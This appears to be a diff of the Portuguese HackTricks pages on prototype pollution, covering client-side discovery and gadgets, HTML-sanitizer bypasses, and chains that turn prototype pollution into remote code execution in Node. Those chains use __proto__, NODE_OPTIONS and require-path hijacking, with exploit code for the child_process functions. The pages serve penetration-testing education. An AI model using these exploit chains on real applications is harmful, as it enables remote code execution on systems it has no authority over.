* Atualize regularmente novos patches para bibliotecas
* Congelar propriedades com Object.freeze (Object.prototype)
* Realizar validação nas entradas JSON de acordo com o esquema da aplicação
* Evitar o uso de funções de mesclagem recursiva de maneira insegura
* Usar objetos sem propriedades de protótipo, como `Object.create(null)`, para evitar afetar a cadeia de protótipos
* Usar `Map` em vez de `Object`
* Atualizar regularmente novos patches para bibliotecas
## Referência
@ -528,12 +503,14 @@ requests.get(TARGET_URL)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

62
pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
View file

@ -1,22 +1,24 @@
# Poluição de Protótipo do Lado do Cliente
# Poluição de Protótipo no Lado do Cliente
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Descobrindo usando ferramentas automáticas
## Descobrindo usando Ferramentas Automáticas
As ferramentas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **e** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) podem ser usadas para **encontrar vulnerabilidades de poluição de protótipo**.
Além disso, você também pode usar a **extensão do navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automaticamente** as **páginas** que você **acessa** em busca de vulnerabilidades de poluição de protótipo.
Além disso, você também pode usar a **extensão para navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automaticamente** as **páginas** que você **acessa** em busca de vulnerabilidades de poluição de protótipo.
### Depurando onde uma propriedade é usada <a href="#5530" id="5530"></a>
@ -30,15 +32,15 @@ return 'test';
```
{% endcode %}
### Encontrando a causa raiz da Poluição de Protótipos <a href="#5530" id="5530"></a>
### Encontrando a causa raiz da Prototype Pollution <a href="#5530" id="5530"></a>
Uma vez que qualquer uma das ferramentas tenha **identificado** uma **vulnerabilidade de poluição de protótipos**, se o **código** não for muito **complexo**, você pode **procurar** o código JS pelas **palavras-chave** **`location.hash/decodeURIComponent/location.search`** no Chrome Developer Tools e encontrar o local vulnerável.
Uma vez que qualquer uma das ferramentas tenha **identificado** uma **vulnerabilidade de prototype pollution**, se o **código** **não** for muito **complexo**, você pode **procurar** no código JS pelas **palavras-chave** **`location.hash/decodeURIComponent/location.search`** nas Ferramentas do Desenvolvedor do Chrome e encontrar o local vulnerável.
Se o código for grande e complexo, há uma maneira fácil de **descobrir onde está o código vulnerável**:
* Usando uma das ferramentas, **encontre uma vulnerabilidade** e obtenha um **payload** que irá **definir uma propriedade** no construtor. No ppmap, você receberá algo como: `constructor[prototype][ppmap]=reserved`
* Agora, defina um **ponto de interrupção na primeira linha de código JS** que será executada na página e atualize a página com o payload para que a **execução seja pausada lá**.
* Enquanto a execução do JS estiver pausada, **cole o seguinte script no console JS**. Este código indicará quando a propriedade 'ppmap' for criada, para que você possa encontrar onde ela foi criada.
* Usando uma das ferramentas, **encontre uma vulnerabilidade** e obtenha um **payload** que irá **definir uma propriedade** no construtor. No ppmap, algo como isto será fornecido: `constructor[prototype][ppmap]=reserved`
* Agora, defina um **ponto de interrupção na primeira linha do código JS** que será executado na página e atualize a página com o payload para que a **execução seja pausada ali**.
* Enquanto a execução do JS estiver pausada, **cole o seguinte script no console JS**. Este código indicará quando a propriedade 'ppmap' for criada, assim você poderá encontrar onde ela foi criada.
```javascript
function debugAccess(obj, prop, debugGet=true){
@ -60,30 +62,30 @@ return origValue = val;
debugAccess(Object.prototype, 'ppmap')
```
Volte para **Fontes** e clique em "Continuar a **execução** do script". Depois de fazer isso, todo o **javascript** será **executado** e o ppmap será poluído novamente, como esperado. Com a ajuda do Snippet, podemos encontrar onde exatamente a propriedade ppmap está poluída. Podemos **clicar** na **Pilha de Chamadas** e você encontrará **diferentes** **pilhas** onde a **poluição** ocorreu.
Volte para **Sources** e clique em “**Resume** script **execution**”. Depois de fazer isso, todo o **javascript** será **executed** e o ppmap será poluído novamente como esperado. Com a ajuda do Snippet, podemos encontrar exatamente onde a propriedade ppmap é poluída. Podemos **click** na **Call** **Stack** e você verá **different** **stacks** onde a **pollution** **happened**.
Mas qual escolher? Na maioria das vezes, a Poluição de Protótipo ocorre em bibliotecas Javascript, então procure a pilha que está anexada aos arquivos de biblioteca .js (olhe para o lado direito, assim como na imagem, para saber a qual ponto final a pilha está anexada). Neste caso, temos 2 pilhas nas linhas 4 e 6, logicamente escolheremos a 4ª linha porque essa linha é a primeira vez em que a Poluição ocorre, o que significa que essa linha é a causa da vulnerabilidade. Clicar na pilha nos redirecionará para o código vulnerável.
Mas qual escolher? Na maioria das vezes, a Prototype Pollution ocorre em bibliotecas Javascript, então mire na stack que está anexada aos arquivos de biblioteca .js (olhe para o lado direito, como na imagem, para saber a qual endpoint a stack está anexada). Neste caso, temos 2 stacks nas linhas 4 e 6, logicamente escolheremos a linha 4 porque essa linha é a primeira vez onde a Pollution ocorre, o que significa que esta linha é a razão da vulnerabilidade. Clicar na stack nos redirecionará para o código vulnerável.
![](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
## Encontrando Gadgets de Script
## Encontrando Script Gadgets
O gadget é o **código que será explorado quando uma vulnerabilidade de PP for descoberta**.
O gadget é o **code that will be abused once a PP vulnerability is discovered**.
Se a aplicação for simples, podemos **procurar** por **palavras-chave** como **`srcdoc/innerHTML/iframe/createElement`** e revisar o código-fonte e verificar se ele **leva à execução de javascript**. Às vezes, as técnicas mencionadas podem não encontrar gadgets. Nesse caso, a revisão pura do código-fonte revela alguns gadgets interessantes, como o exemplo abaixo.
Se a aplicação for simples, podemos **search** por **keywords** como **`srcdoc/innerHTML/iframe/createElement`** e revisar o código-fonte para verificar se **leads to javascript execution**. Às vezes, as técnicas mencionadas podem não encontrar gadgets de forma alguma. Nesse caso, a revisão pura do código-fonte revela alguns gadgets interessantes como no exemplo abaixo.
### Exemplo de encontrar gadget de PP no código da biblioteca Mithil
### Exemplo de Encontrando PP gadget no código da biblioteca Mithil
Verifique esta explicação: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
Confira este writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
## Recompilação de payloads para bibliotecas vulneráveis
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## Bypass de Sanitizadores HTML via PP
## Bypass de HTML Sanitizers via PP
[**Esta pesquisa**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) mostra gadgets de PP a serem usados para **burlar as sanitizações** fornecidas por algumas bibliotecas de sanitizadores HTML:
[**Esta pesquisa**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) mostra gadgets PP para usar para **bypass the sanizations** fornecidos por algumas bibliotecas de sanitizadores HTML:
* #### sanitize-html
@ -122,12 +124,14 @@ document.body.append(node);
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

127
pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
View file

@ -2,13 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -49,9 +51,9 @@ var proc = fork('a_file.js');
```
## PP2RCE via variáveis de ambiente
**PP2RCE** significa **Prototype Pollution to RCE** (Execução Remota de Código).
**PP2RCE** significa **Prototype Pollution para RCE** (Execução Remota de Código).
De acordo com este [**artigo**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando um **processo é iniciado** com algum método da biblioteca **`child_process`** (como `fork` ou `spawn` ou outros), ele chama o método `normalizeSpawnArguments`, que utiliza um **gadget de poluição de protótipo para criar novas variáveis de ambiente**:
De acordo com este [**relatório**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando um **processo é iniciado** com algum método de **`child_process`** (como `fork`, `spawn` ou outros), ele chama o método `normalizeSpawnArguments`, que é um **gadget de prototype pollution para criar novas variáveis de ambiente**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -71,17 +73,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Verifique esse código, você pode ver que é possível **envenenar `envPairs`** apenas **poluindo** o atributo `.env`.
Verifique que no código você pode ver que é possível **envenenar `envPairs`** apenas **poluindo** o **atributo `.env`.**
### **Envenenando `__proto__`**
{% hint style="warning" %}
Observe que devido à forma como a função **`normalizeSpawnArguments`** da biblioteca **`child_process`** do node funciona, quando algo é chamado para **definir uma nova variável de ambiente** para o processo, você só precisa **poluir qualquer coisa**.\
Observe que, devido ao funcionamento da função **`normalizeSpawnArguments`** da biblioteca **`child_process`** do node, quando algo é chamado para **definir uma nova variável de ambiente** para o processo, você só precisa **poluir qualquer coisa**.\
Por exemplo, se você fizer `__proto__.avar="valuevar"`, o processo será iniciado com uma variável chamada `avar` com o valor `valuevar`.
No entanto, para que a **variável de ambiente seja a primeira**, você precisa **poluir** o atributo **`.env`** e (apenas em alguns métodos) essa variável será a **primeira** (permitindo o ataque).
No entanto, para que a **variável de ambiente seja a primeira**, você precisa **poluir** o **atributo `.env`** e (apenas em alguns métodos) essa variável será a **primeira** (permitindo o ataque).
É por isso que **`NODE_OPTIONS`** não está dentro de `.env` no ataque a seguir.
É por isso que **`NODE_OPTIONS`** **não está dentro de `.env`** no ataque a seguir.
{% endhint %}
{% code overflow="wrap" %}
@ -106,9 +108,7 @@ clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
```
{% code %}
### Envenenando `constructor.prototype`
### Envenenamento de `constructor.prototype`
```javascript
const { execSync, fork } = require('child_process');
@ -131,10 +131,10 @@ var proc = fork('a_file.js');
```
## PP2RCE via variáveis de ambiente + linha de comando
Uma carga útil semelhante à anterior com algumas alterações foi proposta neste [**artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
Um payload similar ao anterior com algumas alterações foi proposto em [**este artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
* Em vez de armazenar a carga útil do nodejs dentro do arquivo `/proc/self/environ`, ela é armazenada dentro de **argv0** de **`/proc/self/cmdline`**.
* Em seguida, em vez de exigir via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **exige `/proc/self/cmdline`**.
* Em vez de armazenar o **payload** do nodejs dentro do arquivo `/proc/self/environ`, ele armazena **dentro de argv0** de **`/proc/self/cmdline`**.
* Então, em vez de requerer via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **requer `/proc/self/cmdline`**.
{% code overflow="wrap" %}
```javascript
@ -172,7 +172,7 @@ Usando os seguintes payloads, é possível abusar da variável de ambiente NODE\
}
}
```
Ou, para evitar que os WAFs solicitem o domínio:
Ou, para evitar WAFs que solicitam o domínio:
```json
{
"__proto__": {
@ -182,13 +182,13 @@ Ou, para evitar que os WAFs solicitem o domínio:
}
}
```
## Vulnerabilidade PP2RCE nas funções child\_process
## Vulnerabilidade PP2RCE em funções do child_process
Nesta seção, vamos analisar **cada função do `child_process`** para executar código e ver se podemos usar alguma técnica para forçar essa função a executar código:
<details>
<summary>Exploração do <code>exec</code></summary>
<summary><code>exec</code> exploração</summary>
{% code overflow="wrap" %}
```javascript
@ -221,7 +221,7 @@ var proc = exec('something');
<details>
<summary><strong>Exploração do <code>execFile</code></strong></summary>
<summary><strong><code>execFile</code> exploração</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
@ -240,16 +240,16 @@ var proc = execFile('/usr/bin/node');
// Windows - not working
```
Para que o **`execFile`** funcione, **DEVE executar o node** para que as NODE\_OPTIONS funcionem.\
Se **não** estiver executando **node**, você precisa descobrir como **alterar a execução** do que está sendo executado **com variáveis de ambiente** e defini-las.
Para o **`execFile`** funcionar, ele **DEVE executar o node** para que as NODE\_OPTIONS funcionem.\
Se **não** estiver executando o **node**, você precisa encontrar como pode **alterar a execução** do que quer que esteja executando **com variáveis de ambiente** e configurá-las.
As **outras** técnicas **funcionam** sem esse requisito porque é **possível modificar** **o que é executado** por meio da poluição de protótipos. (Nesse caso, mesmo que você possa poluir `.shell`, você não poluirá o que está sendo executado).
As **outras** técnicas **funcionam** sem essa exigência porque é **possível modificar** **o que é executado** via poluição de protótipo. (Neste caso, mesmo que você consiga poluir `.shell`, você não vai poluir o que está sendo executado).
</details>
<details>
<summary>Exploração de <code>fork</code></summary>
<summary><code>fork</code> exploração</summary>
{% code overflow="wrap" %}
```javascript
@ -295,7 +295,7 @@ var proc = fork('./a_file.js');
<details>
<summary><strong><code>exploração</code> de <code>spawn</code></strong></summary>
<summary><strong><code>spawn</code> exploração</strong></summary>
{% code overflow="wrap" %}
```javascript
@ -485,18 +485,18 @@ var proc = spawnSync('something');
## Forçando Spawn
Nos exemplos anteriores, você viu como acionar a funcionalidade de um gadget que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo o chamam). No exemplo anterior, isso fazia **parte do código**, mas e se o código **não estiver** chamando isso.
Nos exemplos anteriores, você viu como acionar o gadget quando uma funcionalidade que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo o chamam). No exemplo anterior, isso era **parte do código**, mas e se o código **não** estiver chamando?
### Controlando um caminho de arquivo require
### Controlando o caminho de um arquivo require
Neste [**outro artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), o usuário pode controlar o caminho do arquivo onde um **`require`** será executado. Nesse cenário, o atacante só precisa **encontrar um arquivo `.js` dentro do sistema** que irá **executar um método spawn quando importado**.\
Alguns exemplos de arquivos comuns que chamam uma função spawn ao serem importados são:
Neste [**outro artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) o usuário pode controlar o caminho do arquivo onde um **`require`** será executado. Nesse cenário, o atacante só precisa **encontrar um arquivo `.js` no sistema** que **execute um método spawn quando importado.**\
Alguns exemplos de arquivos comuns que chamam uma função spawn quando importados são:
* /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* Encontre **mais arquivos abaixo**
O seguinte script simples irá procurar por **chamadas** de **child\_process** **sem nenhum preenchimento** (para evitar mostrar chamadas dentro de funções):
O seguinte script simples buscará por **chamadas** de **child\_process** **sem qualquer preenchimento** (para evitar mostrar chamadas dentro de funções):
{% code overflow="wrap" %}
```bash
@ -523,24 +523,24 @@ done
</details>
### Definindo o caminho do arquivo require via prototype pollution
### Configurando o caminho do arquivo require via prototype pollution
{% hint style="warning" %}
A **técnica anterior requer** que o **usuário controle o caminho do arquivo** que será **requerido**. Mas isso nem sempre é verdade.
A **técnica anterior requer** que o **usuário controle o caminho do arquivo** que vai ser **required**. Mas isso nem sempre é verdade.
{% endhint %}
No entanto, se o código for executar um require após a poluição do protótipo, mesmo que você **não controle o caminho** que será requerido, você **pode forçar um caminho diferente abusando da poluição de protótipo**. Portanto, mesmo que a linha de código seja `require("./a_file.js")` ou `require("bytes")`, ela irá **requerer o pacote que você poluiu**.
No entanto, se o código for executar um require após o prototype pollution, mesmo que você **não controle o caminho** que vai ser required, você **pode forçar um diferente abusando do prototype pollution**. Então, mesmo que a linha de código seja como `require("./a_file.js")` ou `require("bytes")`, ele vai **require o pacote que você poluiu**.
Portanto, se um require for executado após a poluição do protótipo e não houver uma função de spawn, este é o ataque:
Portanto, se um require for executado após o seu prototype pollution e nenhuma função spawn, este é o ataque:
* Encontre um **arquivo `.js` dentro do sistema** que, quando **requerido**, irá **executar algo usando `child_process`**
* Se você puder fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
* Polua os caminhos para **forçar o require a carregar o arquivo `.js`** que irá executar algo com child\_process
* **Polua o environ/cmdline** para executar código arbitrário quando uma função de execução de child\_process for chamada (veja as técnicas iniciais)
* Encontre um arquivo **`.js` dentro do sistema** que, quando **required**, vai **executar algo usando `child_process`**
* Se você pode fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
* Polua os caminhos para **forçar o carregamento do arquivo `.js`** que vai executar algo com child\_process
* **Polua o environ/cmdline** para executar código arbitrário quando uma função de execução child\_process for chamada (veja as técnicas iniciais)
#### Require absoluto
Se o require realizado for **absoluto** (`require("bytes")`) e o **pacote não contiver main** no arquivo `package.json`, você pode **poluir o atributo `main`** e fazer o **require executar um arquivo diferente**.
Se o require executado for **absoluto** (`require("bytes")`) e o **pacote não contiver main** no arquivo `package.json`, você pode **poluir o atributo `main`** e fazer o **require executar um arquivo diferente**.
{% tabs %}
{% tab title="exploit" %}
@ -624,7 +624,7 @@ fork('/path/to/anything');
{% endtab %}
{% endtabs %}
#### Relative require - 2
#### Requisição relativa - 2
{% tabs %}
{% tab title="exploit" %}
@ -663,13 +663,12 @@ const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```
{% tabs %}
{% tab title="Explicação" %}
#### Relative require - 3
Similar ao anterior, isso foi encontrado neste [**artigo**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
{% endtab %}
{% endtabs %}
#### Relative require - 3
Semelhante ao anterior, este foi encontrado em [**este writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
@ -688,19 +687,23 @@ Object.prototype.env = {
require('./usage.js')
```
## Dispositivos VM
## VM Gadgets
No artigo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf), também é indicado que o controle de **`contextExtensions`** de alguns métodos da biblioteca **`vm`** poderia ser usado como um dispositivo.\
No entanto, assim como os métodos anteriores de **`child_process`**, isso foi **corrigido** nas versões mais recentes.
No artigo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) também é indicado que o controle de **`contextExtensions`** de alguns métodos da biblioteca **`vm`** poderia ser usado como um gadget.\
No entanto, como os métodos anteriores de **`child_process`**, isso foi **corrigido** nas últimas versões.
## Correções e proteções inesperadas
## Correções & Proteções Inesperadas
Por favor, observe que a poluição de protótipos funciona se o **atributo** de um objeto que está sendo acessado for **indefinido**. Se no **código** esse **atributo** for **definido** com um **valor**, você **não poderá sobrescrevê-lo**.
Por favor, note que a poluição de protótipo funciona se o **atributo** de um objeto que está sendo acessado for **indefinido**. Se no **código** esse **atributo** for **definido** com um **valor**, você **não poderá sobrescrevê-lo**.
Em junho de 2022, a partir [**deste commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), a variável `options`, em vez de `{}`, é um **`kEmptyObject`**. Isso **impede que a poluição de protótipos** afete os **atributos** de **`options`** para obter RCE.\
Pelo menos a partir da versão 18.4.0, essa proteção foi **implementada** e, portanto, os **exploits** `spawn` e `spawnSync` que afetam os métodos **não funcionam mais** (se nenhum `options` for usado!).
Em junho de 2022 a partir [**deste commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) a variável `options` em vez de um `{}` é um **`kEmptyObject`**. O que **impede a poluição de protótipo** de afetar os **atributos** de **`options`** para obter RCE.\
